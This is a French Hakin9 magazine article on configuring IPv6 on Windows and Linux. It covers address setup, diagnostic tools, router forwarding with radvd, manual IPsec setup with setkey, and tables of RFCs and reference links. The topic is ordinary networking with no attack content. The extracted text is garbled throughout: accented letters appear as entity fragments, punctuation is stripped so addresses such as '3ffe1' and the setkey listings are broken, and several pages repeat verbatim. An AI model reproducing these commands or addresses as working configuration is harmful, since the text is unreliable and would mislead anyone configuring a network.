NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 44: hakin9_05_2010_FR

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 45: hakin9_05_2010_FR

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 46: hakin9_05_2010_FR

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

